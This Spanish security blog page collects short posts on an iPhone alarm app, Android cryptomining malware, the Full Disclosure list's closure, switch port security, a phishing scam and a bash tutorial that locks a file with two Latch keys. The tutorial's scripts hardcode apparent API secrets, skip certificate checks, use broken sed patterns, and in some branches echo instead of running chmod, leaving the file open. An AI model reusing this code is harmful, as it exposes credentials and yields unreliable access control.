Aplicaciones Moviles Gratis, Seguridad, Tecnologia, Android, Apple

WakeUp Challenge, una alarma para iPhone que solo se apaga si se resuelven juegos

<div class="entry">
<div style="text-align: justify;">
Despertar no es tarea fácil, principalmente cuando
 el frío aprieta y las horas de sueño no han sido las suficientes, 
motivo por el cual las aplicaciones despertador tienen que ingeniárselas
 para garantizar que cumplen con su objetivo. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsELHC4qDqs7zDTgxcTPpKdjrgrW0Cb1_7woKxu_QCMhxP3XqYGHHsBZrc03dTFgTVaGaILQKwdPQKaXRe1FFweF0cbNi_fabx63jXYJvyQWu5joB7Nc9Y_2_ATzmkOOiYf6TbJjB1xfxU/s1600/Wake_Up.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsELHC4qDqs7zDTgxcTPpKdjrgrW0Cb1_7woKxu_QCMhxP3XqYGHHsBZrc03dTFgTVaGaILQKwdPQKaXRe1FFweF0cbNi_fabx63jXYJvyQWu5joB7Nc9Y_2_ATzmkOOiYf6TbJjB1xfxU/s1600/Wake_Up.jpg" width="400" /></a></div>
</div>
<div style="text-align: justify;">
Eso es lo que 
pretende WakeUp Challenge, una aplicación para iOS que solo deja de 
sonar cuando el usuario resuelve uno de los cuatro juegos propuestos, 
suficientemente sencillos como para no matar a nadie de impaciencia y 
suficientemente complejos como para garantizar que, después de 
finalizados, el sujeto está completamente despierto.</div>
<div style="text-align: justify;">
Nos lo presenta Victor Baro, mostrando los cuatro juegos disponibles:</div>
<div style="text-align: justify;">
<blockquote>
- Parejas: trata de emparejar todas las cartas 
- Secuencia: memoriza y repite la secuencia 
- Cálculo: ¿la ecuación es correcta o incorrecta? 
- Toques!: toca las bolas antes de que exploten</blockquote>
</div>
<div style="text-align: center;">
</div>
Está ya disponible <a href="https://itunes.apple.com/es/app/id680403481?mt=8&affId=2048933" target="_blank" title="itunes">en iTunes</a>
 por 0,89 euros, pero si aún así os parece caro, tenemos 3 códigos para 
los tres primeros comentarios que respondan a la pregunta: ¿qué usáis 
para despertar cada día? 
 
<a href="http://wwwhatsnew.com/" target="_blank">Fuente </a></div>

Despertar no es tarea fácil, principalmente cuando el frío aprieta y las horas de sueño no han sido las suficientes, motivo por el cual ...

Malware para Android explota monedas virtuales Bitcoin, Dogecoin y Litecoin

Los usuarios de teléfonos y tablets con Android que adviertan de forma 
repentina que sus dispositivos se cargan lentamente, se calientan o se 
quedan sin batería en poco tiempo deberían considerar que podrían estar 
siendo víctimas de esta nueva amenaza. 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK3JIKrBVvkPkfVKnqECSlsmqVSSPjfFJoGVG9kCVRItxg3c4fThJG1P9Kc6_6R39b6Bthg-mfQsJUJutbxO-37SpQTgfy4Gr_lDXtvAULmlmQ-6jVZbpDeb-WWLCyhWpr5LCK5zHaQlmB/s1600/bitcoins.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK3JIKrBVvkPkfVKnqECSlsmqVSSPjfFJoGVG9kCVRItxg3c4fThJG1P9Kc6_6R39b6Bthg-mfQsJUJutbxO-37SpQTgfy4Gr_lDXtvAULmlmQ-6jVZbpDeb-WWLCyhWpr5LCK5zHaQlmB/s1600/bitcoins.jpg" /></a></div>
 
 
Investigadores de <a href="http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-mines-dogecoins-and-litecoins-for-bitcoin-payout/" rel="nofollow" target="_blank">Trend Micro informan</a>
 que una nueva familia de malware para Android (detectada como 
ANDROIDOS_KAGECOIN.HBT) estaba minando la capacidad de cifrado de las 
monedas virtuales o criptodivisas. Trend Micro, según sus análisis, ha 
encontrado que este malware está involucrado en la explotación de 
varias monedas digitales, incluyendo Bitcoin, Litecoin y Dogecoin. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="http://blog.trendmicro.com/trendlabs-security-intelligence/files/2014/03/dogecoinfigure7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="http://blog.trendmicro.com/trendlabs-security-intelligence/files/2014/03/dogecoinfigure7.png" width="320" /></a></div>
 
La situación tiene consecuencias reales para los usuarios: menor 
duración de la batería, mayor desgaste y deterioro, todo lo cual podría 
significar una vida más corta del dispositivo. 
 
Los investigadores descubrieron originalmente ANDROIDOS_KAGECOIN en 
copias pirateadas de aplicaciones populares como Football Manager 
Handheld y TuneIn Radio. Las aplicaciones fueron programadas con el 
código de una aplicación de la CPU de cifrado de monedas Android 
legítima. Este código se basa en el software conocido como cpuminer. 
 
Contenido completo en fuente original <a href="http://diarioti.com/nuevo-malware-para-moviles-android-explota-monedas-virtuales-como-bitcoin-dogecoin-y-litecoin/76548">DiarioTI</a> y <a href="http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-mines-dogecoins-and-litecoins-for-bitcoin-payout/" rel="nofollow" target="_blank">TrendMicro</a>

Los usuarios de teléfonos y tablets con Android que adviertan de forma repentina que sus dispositivos se cargan lentamente, se calientan o ...

Cierra la lista Full Disclosure

<div style="text-align: justify;">
Hoy es un día en parte triste por el anuncio de que <a href="http://lists.grok.org.uk/full-disclosure-charter.html" rel="nofollow" target="_blank">Full Disclosure</a> ha sido suspendida. </div>
<div style="text-align: justify;">
 
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5plD7XM0GCF_Wq0jQ2gEB_SB0bSSxa8G7fSy3pJcBeB8VC9IJyTnrrxIG5zGpcbJz0Pm4RRJiuDtZcymQivsqcIptCHK8XgDB8O0CX3xu7MrDXVyTOPdDV-uXKqEmNRv5_6UF8X7xcpiv/s1600/access_denied.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5plD7XM0GCF_Wq0jQ2gEB_SB0bSSxa8G7fSy3pJcBeB8VC9IJyTnrrxIG5zGpcbJz0Pm4RRJiuDtZcymQivsqcIptCHK8XgDB8O0CX3xu7MrDXVyTOPdDV-uXKqEmNRv5_6UF8X7xcpiv/s1600/access_denied.gif" width="320" /></a></div>
<div style="text-align: justify;">
 
</div>
<div style="text-align: justify;">
 
Full Disclosure ha sido una de las mejores listas de seguridad moderadas
 donde se descubrían vulnerabilidades y se debatían y divulgaban temas 
de seguridad informática. Hospedada y patrocinada por Secunia, fue 
fundada el 9 de julio de 2002 por Len Rose y era administrada por John 
Cartwright. Precisamente éste último <a href="http://seclists.org/fulldisclosure/2014/Mar/332" rel="nofollow" target="_blank">ha anunciado hoy</a> su cese del servicio. Aquí les dejo mi traducción con sus razones: 
</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
Administrivia: El Fin 
From: John Cartwright 
Date: Wed, 19 Mar 2014 10:30:15 +0000 
 
Hola, 
 
Cuando Len y yo creamos la lista Full-Disclosure allá por julio de 2002,
 sabíamos que en el camino íbamos a encontrar bastantes problemas 
legales. 
Teníamos razón. Hasta la fecha hemos tenido todo tipo de peticiones para
 borrar cosas, solicitudes para no borrar cosas, y una variedad de 
amenazas legales tanto válidas como no. Sin embargo, siempre asumí que 
lo que nos haría cambiar sería una petición de eliminación de 
información a gran escala de algún fabricante o alguna otra excepción. 
 
Nunca me imaginé que la solicitud pudiera venir de un investigador 
dentro de la 'comunidad' en sí (y utilizo esa palabra de forma poco 
precisa en tiempos modernos). Pero hoy, después de haber pasado una 
buena cantidad de tiempo tratando las quejas de un individuo en 
particular (del que no diré su nombre) me di cuenta de que ya ha 
terminado. La lista ha tenido su parte justa de trolling, flooding, 
furry porn, falsos exploits y ataques DoS en los últimos años, pero 
ninguna de estas cosas afectaron realmente la integridad de la propia 
lista. 
Sin embargo, pasar un hacha virtual a los archivos de la lista por el 
capricho de un individuo no sienta bien. Ese 'uno de los nuestros' haría
 socavar los esfuerzos de los últimos 12 años y es realmente la gota que
 colma el vaso. 
 
No estoy dispuesto a luchar esta lucha por más tiempo. Es cada vez más 
duro operar un foro abierto en el clima legal actual, y mucho más uno 
relacionado con la seguridad . No hay más honor entre los hackers. No 
existe una verdadera comunidad . Hay poco skill valioso. El juego de la 
seguridad está cada vez más regulado . Esto es toda una señal de lo que 
vendrá , y una reflexión sobre el triste estado de una industria que 
nunca debería haberse convertido en una industria. 
 
Suspendo el servicio por tiempo indefinido. Gracias por participar. 
 
Saludos, 
- John</blockquote>
</div>
Fuente: <a href="http://www.hackplayers.com/2014/03/cierra-la-lista-full-disclosure.html" rel="nofollow" target="_blank">Hack Players</a><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

Hoy es un día en parte triste por el anuncio de que Full Disclosure ha sido suspendida. Full Disclosure ha sido una de las mejo...

Port Security en switch

<div style="text-align: justify;">
En una auditoría interna uno puede pensar que se puede conectar a 
cualquier boca de red, lo cual sería algo bastante recurrido ya que 
podríamos capturar tráfico que nos permitiera conocer, e incluso 
escalar, los recursos que componen la zona interna de la organización. Y
 esto es así, hasta que te topas con protecciones como port security dónde realizar esta acción puede desembocar en un problema y ser detectado fácilmente por el administrador de la red. </div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_WJ7EipGmwUtm_nX9Gvy2SMwzrXEPCsvumstgApiHc9GwVT3ISK2C7aF8qO4W0c-Nq9ojeBYmKKjYYSaEEkMtOJR2DocY1mqXQGbBOQWp2ysOrPDafnNDkmIMmtPvfCy_iWvJzRJUZo4h/s1600/1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_WJ7EipGmwUtm_nX9Gvy2SMwzrXEPCsvumstgApiHc9GwVT3ISK2C7aF8qO4W0c-Nq9ojeBYmKKjYYSaEEkMtOJR2DocY1mqXQGbBOQWp2ysOrPDafnNDkmIMmtPvfCy_iWvJzRJUZo4h/s1600/1.jpg" width="320" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
¿Qué es port security? Es una característica de los switches CISCO, con la que se permite tener una lista de direcciones MAC conectadas a cada puerto del switch.
 De este modo solo se permite a estas direcciones comunicarse a través 
de esa boca. Si por lo que fuera un dispositivo con otra dirección MAC 
intenta comunicarse a través de esa boca port-security deshabilita el puerto. El administrador será el encargado de atender al incidente y desbloquear el puerto. </div>
<div style="text-align: justify;">
</div>
<a href="http://www.flu-project.com/2014/03/port-security.html" rel="nofollow" target="_blank">Contenido completo en fuente original Flu-Project</a><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

En una auditoría interna uno puede pensar que se puede conectar a cualquier boca de red, lo cual sería algo bastante recurrido ya que pod...

Demonizando Latch para proteger archivos con dos llaves

Antes de nada querría dar las gracias a Helloween por tomarle prestada un trozo de su portada del magnífico álbum "Keeper of seven keys" para ilustrar esta entrada.... 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6J293fdZ2ZtZCOzBWcAEfJ8p1rlBMfOeNtPHwuqmY6PsIZlI6bXAm8h9Vefgpxkh0IGJB4gSGDCjj15jvSgspyWhyZjs9yaunTvfFpqSjFRH5miizgsJJ_Pobac3ZMuDfXDnYmyrHsM2S/s1600/latch2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="253" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6J293fdZ2ZtZCOzBWcAEfJ8p1rlBMfOeNtPHwuqmY6PsIZlI6bXAm8h9Vefgpxkh0IGJB4gSGDCjj15jvSgspyWhyZjs9yaunTvfFpqSjFRH5miizgsJJ_Pobac3ZMuDfXDnYmyrHsM2S/s1600/latch2.png" width="400" /></a></div>
 
 
Imaginemos
 que tenemos un servidor dispuesto para nuestros usuarios. Tenemos 
cierto archivo o carpeta que tiene que estar disponible para dos 
usuarios en concreto; el cual no puede ser leído o modificado sin el permiso de ambos.
 
Sería
 genial que ambos usuarios pudiesen tener el control sobre este hecho, 
como si se tratase de un cofre el cual necesita dos llaves (podrían ser 
más) para ser abierto, sin ni siquiera tener un acceso físico a la 
máquina, es decir,  que puedan decidirlo por control remoto desde su 
smartphone y así tener el control total sobre el acceso a dicho archivo o
 carpeta... 
 
Esta situación es posible si miramos las posibilidades que nos brinda <a href="https://latch.elevenpaths.com/" target="_blank">LATCH</a>
 (de paso les agradezco a 11paths el juguetico que me hace pasar unas 
horas muy entretenido) y hacemos un apañejo, o chapucilla a la espera de
 que implementen algo parecido (que seguro que lo han pensado).
 
Pues bueno vamos a ver como lo hacemos y al tiempo aprenderemos a hacer nuestros propios demonios en Linux.
<a href="https://www.blogger.com/null" name="more"></a> 
Lo
 primero sería dar dos usuarios de alta en Latch, para así disponer de 
"las llaves" para nuestro cofre (una para cada uno). Lo haremos en <a href="http://latch.elevenpaths.com/" target="_blank">latch.elevenpaths.com.</a>
 
No me entretendré en este proceso por no alargar la entrada, si queréis verlo detenidamente echar un ojo a esta otro post <a href="http://www.hackplayers.com/2014/01/securizando-openssh-mode-paranoico-2.html">crear cuenta latch</a>.
 
Una vez hecho ésto pasaremos a registrar ambas cuentas en el sistema con el siguiente <a href="http://pastebin.com/RWHWNeTy" target="_blank">script</a> , tambien tenemos descrito el proceso en la entrada anterior en la parte de <a href="http://www.hackplayers.com/2014/01/securizando-openssh-mode-paranoico-2.html">emparejar nuestra cuenta</a>. Como es obvio, lo haremos una vez por cada id de aplicación
 y su correspondiente secreto y en distintos archivos 
(latch-llave1.account y latch-llave2.account). Con ésto ya tenemos 
nuestras "2 llaves":
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4kznsdHlyMiVivrgumMVXNmlofMV-hPERz4eUvBmh9SE_s5KA7rTY7wRNJACbWO-wEAxYPTzot4RbK7svg7AIZGKcR_VzdXmYH2y5uK92Q9_sWIYlpHOuXGdEYSAnzfilcjZVdSMqCE0/s1600/lasa.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4kznsdHlyMiVivrgumMVXNmlofMV-hPERz4eUvBmh9SE_s5KA7rTY7wRNJACbWO-wEAxYPTzot4RbK7svg7AIZGKcR_VzdXmYH2y5uK92Q9_sWIYlpHOuXGdEYSAnzfilcjZVdSMqCE0/s1600/lasa.jpg" width="320" /></a></div>

<div class="separator" style="clear: both; text-align: center;">
</div>

<h3>
Liberando nuestro demonio</h3>

"Un
 demonio, daemon o dæmon (de sus siglas en inglés Disk And Execution 
MONitor), es un tipo especial de proceso informático no interactivo, es 
decir, que se ejecuta en segundo plano en vez de ser controlado 
directamente por el usuario. Este tipo de programas se ejecutan de forma
 continua (infinita), vale decir, que aunque se intente cerrar o matar 
el proceso, este continuará en ejecución o se reiniciará 
automáticamente. Todo esto sin intervención de terceros y sin 
dependencia de consola alguna.” (Wikipedia) 
 
En este caso vamos a utilizar un demonio sencillo en System V, pero no olvidemos que lo podemos complicar tanto como queramos...

 
<pre class="prettyprint prettyprinted" style="overflow: auto;">#NUESTRO DEMONIO
#!/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/bin/daemonkeeper #Ruta a nuestro fichero a ejecutar
DAEMON_OPTS=''
NAME=daemonlatch #nombre de nuestro demonio
DESC=keeper_of_seven_keys
PIDFILE="/var/run/${NAME}.pid" #Donde se guarda el pid del proceso
QUIET="--quiet"
START_OPTS="--start ${QUIET} --background --make-pidfile --pidfile ${PIDFILE} --exec ${DAEMON} ${DAEMON_OPTS}"
STOP_OPTS="--stop --pidfile ${PIDFILE}"
OWNER=root #el dueño del proceso
LOGDIR=/var/log/${NAME} #donde guardaremos nuestros logs

test -x $DAEMON || exit 0

# SI NO EXISTE EL DIRECTORIO LOG, LO CREAMOS
if [ ! -d "$LOGDIR" ]; then
 mkdir -m 750 $LOGDIR
 chown $OWNER:$OWNER $LOGDIR
fi

set -e

case "$1" in
 start)
 echo -n "Starting $DESC: "
 start-stop-daemon $START_OPTS
 echo "$NAME."
 ;;
 stop)
 echo -n "Stopping $DESC: "
 start-stop-daemon $STOP_OPTS
 echo "$NAME."
 rm $PIDFILE
 ;;
 restart|force-reload)
 echo -n "Restarting $DESC: "
 start-stop-daemon $STOP_OPTS
 sleep 1
 start-stop-daemon $START_OPTS
 echo "$NAME."
 ;;
 *)
 N=/etc/init.d/$NAME
 echo "Usage: $N {start|stop|restart|force-reload}" >&2
 exit 1
 ;;
esac

exit 0
</pre>

Guardaremos esta parte del demonio en /etc/init.d/ y le cambiaremos los permisos a 700. De manera que solo sea root quien pueda leer, escribir y ejecutar el archivo. 
 
También crearemos el archivo pid en /var/run: 
#chmod 700 daemonlatch  
#touch /var/run/daemonlatch.pid 
 
Esta parte será la encargada del control; con la cual podremos parar, arrancar o re arrancar el demonio: 
/etc/init.d/nombre del demonio /start/stop/restart 
 
Ahora pasaremos a la segunda parte del demonio que llamaremos thekeeper que será la que se encargará de ver el estado de cada llave en el servidor de latch, de
 manera que si las dos llaves están activadas el archivo o carpeta se 
podrá leer, modificar,etc. según convengamos, o de lo contrario no se 
podrá: 
<pre class="prettyprint prettyprinted" style="overflow: auto;">#!/bin/bash
cofre=/home/manuel/importante.gpg
applicationId2="571a1Wfq8jnspoxk66pm"
secretkey2="rX2eZoqoBu6P1xWWwHVJNW15ErrlVgRcEqbtARF3"
LATCH2="/home/LATCH/latch-llave2.account"
account2=`grep "^$USER:" $LATCH2 |cut -d: -f2`
logs="/var/log/daemonlatch/daemonlatch.log"
##COMPROBAMOS LLAVE2
if [ -z `echo "$account2"|cut -d: -f2` ]; then exit 0; fi
URL="/api/0.6/status/$account2"
requestSIgnature+="GET\n"
date2=`date -u '+%Y-%m-%d %H:%M:%S'`
requestSIgnature+="$date2\n\n$URL"
signed=`echo -en "$requestSIgnature" | openssl dgst -sha1 -hmac "$secretkey2" -binary|sed -e 's|.*= $.*$|\1|g'`
b64signed=`echo -n "$signed"|base64`
auth_header="Authorization: 11PATHS $applicationId2 $b64signed"
date_header="X-11Paths-Date: $date2"
JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header" "https://latch.elevenpaths.com$URL"`
status2=`echo -e "$JSON" | sed -e 's|.*status":"$.*$","name.*|\1|g'`
echo $status2

##COMPROBAMOS LLAVE1

applicationId="JXM2krpxLzNxi41Ru0oe"
secretkey="SeTQQo4OzyJ02T2SB9q6qPAA8lNyWkUcA4NZdNiI"
LATCH="/home/LATCH/latch-llave1.account"
account=`grep "^$USER:" $LATCH |cut -d: -f2`
if [ -z `echo "$account"|cut -d: -f2` ]; then exit 0; fi
URL="/api/0.6/status/$account"
requestSignature+="GET\n"
date=`date -u '+%Y-%m-%d %H:%M:%S'`
requestSignature+="$date\n\n$URL"
signed=`echo -en "$requestSignature" | openssl dgst -sha1 -hmac "$secretkey" -binary|sed -e 's|.*= $.*$|\1|g'`
b64signed=`echo -n "$signed"|base64`
auth_header="Authorization: 11PATHS $applicationId $b64signed"
date_header="X-11Paths-Date: $date"
JSON=`wget -q --no-check-certificate -O - --header "$auth_header" --header "$date_header" "https://latch.elevenpaths.com$URL"`
status=`echo -e "$JSON" | sed -e 's|.*status":"$.*$","name.*|\1|g'`
echo $status
if [ "$status" == "on" ] && [ "$status2" == "on" ]; then
date >>$logs
echo -e "cofre abierto " >> $logs
chmod 777 $cofre
elif [ "$status" == "off" ] && [ "$status2" == "off" ]; then
echo -e "cofre cerrado" >> $logs
chmod 000 $cofre
elif [ "$status" == "off" ] && [ "$status2" == "on" ]; then
echo -e "cofre cerrado" >> $logs
chmod 000 $cofre
elif [ "$status" == "on" ] && [ "$status2" == "off" ]; then
echo -e "cofre cerrado" >> $logs
echo 000 $cofre
else 
echo -e "Error de LATCH. Intenta de nuevo\n" >>$logs
echo 000 $cofre
fi</pre>

 
Por último haremos la tercera parte de nuestro demonio que llamaremos daemonkeeper, la colocaremos en el directorio /bin y le daremos permisos 700. 
 
Con esta parte lo que se controlará es el tiempo que pasará entre chequear el estado de las llaves, en este caso será 30 seg.. 
<pre class="prettyprint prettyprinted" style="overflow: auto;">#!/bin/bash
date >>/var/log/daemonlatch/daemonlatch.log
echo "demonio arrancado" >> /var/log/daemonlatch/daemonlatch.log
while true
do
sleep 30
/bin/thekeeper
done</pre>

Una vez creado nuestro demonio vamos a asignarle los niveles de ejecución o Runlevels. 
 
Tenemos
 varios niveles de ejecución, y cada uno de ellos nos proporciona unas 
funcionalidades diferentes, y un entorno de trabajo distinto.  
 
La definición de cada runlevel la encontramos en el fichero /etc/inittab. En mi caso son los siguientes DEBIAN WHEEZY: 
 
# Runlevel 0 is halt. 
# Runlevel 1 is single-user. 
# Runlevels 2-5 are multi-user. 
# Runlevel 6 is reboot. 
<div>
 </div>

Para
 saber en qué nivel de ejecución estamos actualmente podemos utilizar el
 comando runlevel. Para iniciar o parar un demonio al entrar en un 
runlevel simplemente tenemos que crear un enlace simbólico en el 
directorio correspondiente al runlevel en el que queremos iniciar/parar 
el demonio. Los directorios con los enlaces a los scripts de los 
demonios son los de

/etc/rcX.d/

donde X se corresponde con el número de runlevel. Así, por ejemplo, en 
el directorio /etc/rc5.d/ tenemos los enlaces a los scripts de los 
demonios que se iniciarán/pararán al entrar en el runlevel 5. Ahora que 
ya sabemos dónde hemos de colocar nuestros enlaces ya podemos crearlos.  
 
Es
 muy importante el nombre que le damos a los enlaces ya que de él 
depende si el demonio se inicia o se para y el orden en que se 
inicia/para. La sintaxis que se sigue en el nombre del enlace es la 
siguiente:

S (para iniciar el demonio apuntado por el enlace)
K (para parar el demonio apuntado por el enlace) y luego
 el orden en que se ejecutará; que puede ir desde 00 hasta 99 (siendo 00
 la máxima prioridad). Además puede haber varios con la misma 
prioridad.  
 
Bueno
 al tajo!! Ahora para crear los enlaces simbólicos debemos hacerlo en 
los runlevels adecuados. Para iniciar en el runlevel 5 (multiusuario 
gráfico) y 3 (multiusuario) y para pararlo en el runlevel 6 (reinicio) y
 0 (apagado). Lo hacemos con el comando ln de la siguiente manera: 
 
ln -s /etc/init.d/daemonlatch /etc/rc5.d/S30daemonlatch ln -s /etc/init.d/daemonlatch /etc/rc3.d/S30daemonlatch ln -s /etc/init.d/daemonlatch /etc/rc6.d/K05daemonlatch ln -s /etc/init.d/daemonlatch /etc/rc0.d/K05daemonlatch 
<div>
 </div>

<div>
Ya tenemos listo nuestro demonio!!!</div>

<div>
 </div>

<div>
Tan
 solo nos queda probarlo. Para ello simularemos que uno de los usuarios 
crea un archivo cifrado que se llamará 'importante' en su /home (igual 
lo podemos hacer con una carpeta)</div>

<div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGbOA7aMeY5wT3ddE3RIMyhvmFEiG2tp05Sw6zRzQjd91cgj1yyWPAqhizs0pjlO0mWK2eSOhIJeBQ4Osmu7e7ATAnrSOvGVieu9zzco7pk3j-pwbDpLRrcFTf-WZpZoaTbxITekCeOpY/s1600/Captura+de+pantalla+de+2014-03-22+21:24:02.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGbOA7aMeY5wT3ddE3RIMyhvmFEiG2tp05Sw6zRzQjd91cgj1yyWPAqhizs0pjlO0mWK2eSOhIJeBQ4Osmu7e7ATAnrSOvGVieu9zzco7pk3j-pwbDpLRrcFTf-WZpZoaTbxITekCeOpY/s1600/Captura+de+pantalla+de+2014-03-22+21:24:02.png" /></a></div>

<div>
$touch /home/manuel/importante</div>

<div>
<div>
$gpg -c /home/manuel/importante</div>
 
 
<div>
$rm /home/importante
 
Esto creará importante.gpg del cual ambos usuarios tendrán la clave.
 
Arrancamos el demonio:
 
#/etc/ini.d/daemonlatch start 
 
Cada
 cierto tiempo (el que hayamos estimado en el archivo daemonkeeper) 
nuestro demonio conectará con el servidor de LATCH consultando el estado
 de las llaves...
 
En
 cuanto uno de los dos usuarios que tienen las llaves en su poder 
bloquee su llave en LATCH, el archivo deja de estar disponible para 
nadie... y no estará accesible hasta que ambos lo decidan...
 
Con
 esto hemos conseguido que estos usuarios tengan un archivo mancomunado y
 pleno control en el acceso, les hemos dado una capa nueva de 
protección...
 
Podríamos
 hacer esto más complejo y elegante, como por ejemplo llevar un sistema 
de log mas pensado, hacer un fichero de configuración para el demonio y 
que recoja las variables de él, etc, etc....
 
Un saludo y sed buenos...</div>
</div>

Demonizando Latch para proteger archivos con dos llaves

Antes de nada querría dar las gracias a Helloween por tomarle prestada un trozo de su portada del magnífico álbum "Keeper of seven keys...

Phishing Scam: una táctica de atracción que conmociona al mundo cibernético

El
 phishing es un ciberdelito reconocido hoy en día e incluso Google no 
está a salvo de este fraude. Phishing es típicamente un correo 
electrónico fraudulento que se hace pasar por legítimo para recopilar 
información confidencial de los usuarios. Los spammers utilizan técnicas
 avanzadas para conseguir que los usuarios hagan clic en los enlaces de 
phishing mientras que revisan su correo. Recientemente, los 
investigadores de <a href="http://www.symantec.com/connect/blogs/google-docs-users-targeted-sophisticated-phishing-scam" target="_blank">Symantec</a> han encontrado un fraude de phishing sofisticado dirigido a los usuarios de Google Docs y Google Drive. 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAusgSIcFskawrEGmqutJhvuq9kd4Yz9sLdZPrctRyB464pqO4OzKwIIJs11QF27TaFsSP3ybgQ2oFD9I0DFJripPDJIaQWkR-oTdDXHgfibpu8ONcJtLlXfQdGHwAo9jkDsvCGG8kF2Rj/s1600/Spammers-Phishing-Google-Accounts-using-Google-Docs.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAusgSIcFskawrEGmqutJhvuq9kd4Yz9sLdZPrctRyB464pqO4OzKwIIJs11QF27TaFsSP3ybgQ2oFD9I0DFJripPDJIaQWkR-oTdDXHgfibpu8ONcJtLlXfQdGHwAo9jkDsvCGG8kF2Rj/s1600/Spammers-Phishing-Google-Accounts-using-Google-Docs.png" width="269" /></a></div>

 Los
 hackers utilizan la palabra "documentos" en el asunto de un correo 
electrónico y piden al usuario comprobar un importante documento en 
Google Docs con un clic en el enlace incluido. El enlace va a una página
 de inicio de sesión falsa de Google Docs, donde el usuario tiene que 
proporcionar un nombre de usuario y contraseña. La página falsa 
está alojada en el servidor de Google y se cifra con SSL para hacer que 
parezca más real. El fraude fue hecho haciendo una carpeta en Google 
Drive firmada como pública, subiendo un archivo, y utiliza la función de
 vista previa de Google Drive en Docs. Tan pronto como los usuarios 
introduzcan información de inicio de sesión sobre dicha página y pulsen 
el botón "sign-in", se ejecutará un script PHP en un servidor web 
comprometido que recogerá las credenciales del usuario. 
<a href="https://www.blogger.com/null" name="more"></a> Algunos datos Phishing: Si nos fijamos en los años anteriores podemos ver un aumento dramático en los fraudes de phishing. Según el <a href="http://www.emc.com/collateral/fraud-report/rsa-online-fraud-report-012014.pdf" target="_blank">informe de EMC</a>,
 en el último año 2013, se realizaron casi 450.000 ataques de phishing 
y, como resultado, se produjo una pérdida estimada de más de 5,9 mil 
millones. Los estafadores (scammers) utilizan diferentes técnicas de 
phishing como ataques tipo bouncer, ataques precisos, envío masivo de 
correo y email bombers. 
 
<div class="separator" style="clear: both; text-align: center;">
 </div>

<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizjRy9jf8dKLqv6Nbdil_cMPMqe9sPBLS2rPVKeOf_i1ZM4MsO8vG5E7iJDeA-VfFHSfkfv4I6vbx6PitIGUgYQaoTHYwliv2yDc7MoLId66WFGgs_oTqDz61tbRO886Xd0ChlZke3F6R/s1600/Phishing+Facts.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgizjRy9jf8dKLqv6Nbdil_cMPMqe9sPBLS2rPVKeOf_i1ZM4MsO8vG5E7iJDeA-VfFHSfkfv4I6vbx6PitIGUgYQaoTHYwliv2yDc7MoLId66WFGgs_oTqDz61tbRO886Xd0ChlZke3F6R/s1600/Phishing+Facts.png" width="400" /></a></div>

 


En
 2013, los principales países destinatarios fueron los EE.UU. y Canadá 
con el 63%, mientras que Europa, Oriente Medio y África se quedó con el 
28% del volumen de phishing. La región de Asia Pacífico, Japón y Oceanía
 fueron del 7% y en América Latina se mantuvo con un 4% en volumen de 
phishing. 
<div class="separator" style="clear: both; text-align: center;">
 </div>

<div class="separator" style="clear: both; text-align: center;">
